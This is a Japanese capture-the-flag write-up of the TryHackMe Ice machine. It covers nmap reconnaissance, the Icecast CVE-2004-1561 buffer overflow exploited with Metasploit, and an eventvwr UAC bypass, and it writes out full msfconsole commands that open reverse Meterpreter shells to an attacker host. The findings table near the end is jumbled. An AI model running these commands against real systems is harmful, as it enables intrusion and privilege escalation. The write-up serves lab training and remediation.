
TryHackMeのIceマシンの完全侵害 — バッファオーバーフローによるIcecast 2.0.1 RCE (CVE-2004-1561)、続いてUACバイパス/COMハイジャックによるWindows権限昇格。詳細な方法論と修復策を含む。
プラットフォーム: TryHackMe ターゲットOS: Windows 7 / Windows Server 2008 R2 難易度: 簡単 カテゴリ: バッファオーバーフロー (RCE), ローカル権限昇格
このレポートは、TryHackMe 上の Ice マシンの完全な侵害プロセスを、初期偵察から SYSTEM レベルの権限昇格までを文書化しています。ターゲットは、古い Icecast 2.0.1 ストリーミングメディアサーバーを公開しており、細工された HTTP ヘッダーを介して任意のコード実行を可能にするリモートバッファオーバーフロー (CVE-2004-1561) の脆弱性があります。初期アクセスは、低権限ユーザーとして Meterpreter リバースシェルを介して取得されました。その後、NT AUTHORITY\SYSTEM への権限昇格は、自動昇格バイナリと HKCU 下のレジストリキーリダイレクトを利用する Windows COM オブジェクトハイジャック脆弱性 (bypassuac_eventvwr) を悪用して達成されました。
| 段階 | 手法 | 結果 |
|---|---|---|
| 偵察 | arp-scan, nmap | ホストと7つのオープンポートを特定 |
| 初期アクセス | Icecast HTTP ヘッダーバッファオーバーフロー (CVE-2004-1561) | ローカルユーザーとして Meterpreter セッション |
| 権限昇格 | bypassuac_eventvwr (COM/レジストリハイジャック) | SYSTEM シェル |
ARP スキャンを使用して、ローカルネットワーク上のターゲットの IP アドレスを特定しました。
arp-scan -l

ターゲットは 192.168.37.138 で特定されました。
ターゲットに対してサービス/バージョン検出を伴う完全な SYN スキャンを実行しました:
nmap -sS -sV 192.168.37.138
結果:
ホストは DARK-PC、Windows マシンとしてフィンガープリントされました。ポート 8000 で動作する Icecast は最も有望な攻撃対象として際立っていました。これは標準の Windows サービスではなく、歴史的な CVE を持つことが知られています。
既知の Icecast 脆弱性の検索で CVE-2004-1561 が見つかりました:
Icecast 2.0.1 およびそれ以前のバッファオーバーフローにより、リモート攻撃者が大量のヘッダーを含む HTTP リクエストを介して任意のコードを実行できる可能性があります。
一致する Metasploit モジュールが確認されました:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 は、処理する HTTP ヘッダーの数を適切に境界チェックできません。サーバーのバッファが処理できるサイズよりも多くのヘッダーを送信することで、超過データが隣接するメモリにオーバーフローし、予約されたヘッダー解析バッファの外のデータを上書きします。
具体的には、このオーバーフローにより、スタック上の 保存されたリターンアドレス (EIP) が破損します。これは、リクエストを処理する関数が戻った後に CPU がジャンプするアドレスです。攻撃者はこのアドレスを制御することで、正当な戻り先ではなく、攻撃者が用意したシェルコードに実行をリダイレクトし、Icecast プロセスのコンテキストで任意のコード実行を引き起こすことができます。
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
低権限ユーザーとして Meterpreter セッションが確立されました。
アクティブなセッションを使用して、Metasploit のビルトインサジェスターを使用し、ターゲットのパッチレベルに対して実行可能なローカル権限昇格パスを特定しました:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

いくつかのモジュールが実行可能とフラグされました。その中には、パッチ未適用の Windows 7 / Server 2008 R2 ホストをターゲットとする bypassuac_eventvwr が含まれています。
この権限昇格パスは、Windows の COM (Component Object Model) アーキテクチャを悪用します。これは、異なる言語で書かれたコンポーネントが相互運用できるようにするものです。COM オブジェクトは通常、共有 DLL に依存し、システムはレジストリパスを介して特定の COM オブジェクトに対してどの DLL をロードするかを解決します。これには、現在のユーザーの HKCU ハイブの下に保存されたパスも含まれます。
eventvwr.exe は自動昇格する Windows バイナリです(デフォルトの UAC 設定では、マニフェスト設定により、UAC 昇格プロンプト自体を表示せずに静かに UAC 昇格プロンプトをトリガーします)。実行されると、HKCU を照会して COM オブジェクトを解決し、関連する DLL をロードします。
このエクスプロイトはこのルックアップをハイジャックします。現在のユーザーの HKCU ハイブの下に悪意のあるレジストリキーを書き込み、COM 解決を正当なシステム DLL の代わりに攻撃者が制御するペイロードに向けます。eventvwr.exe は自動昇格するため、トリガーされるペイロード(この場合はコマンドシェル)は、eventvwr.exe が昇格する整合性レベルで実行され、標準ユーザーからより高い権限のコンテキストにセッションを昇格させます。しかも、UAC プロンプトを表示することはありません。
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
2番目の Meterpreter セッションが昇格されたシェルで開かれ、C:\Windows\system32 に直接ドロップされ、権限昇格が確認されました。
| # | 発見事項 | 重要度 | CVE / 参照 |
|---|---|---|---|
| 1 | Icecast 2.0.1 HTTP ヘッダーバッファオーバーフローによるリモートコード実行 |
eventvwr.exe の自動昇格悪用は後の Windows ビルドで修正されました。この攻撃は完全に更新された最新の Windows バージョンに対しては機能しません。arp-scan、nmap — 偵察Metasploit Framework (msfconsole) — エクスプロイトとポストエクスプロイトMeterpreter — ポストエクスプロイトシェル| ポート | サービス | バージョン |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (workgroup: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Icecast ストリーミングメディアサーバー |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| 重大 |
| CVE-2004-1561 |
| 2 | COM/レジストリハイジャックによる UAC バイパス (eventvwr.exe 自動昇格) | 高 | Windows 7/Server 2008 R2 の既知の UAC 設計上の弱点 |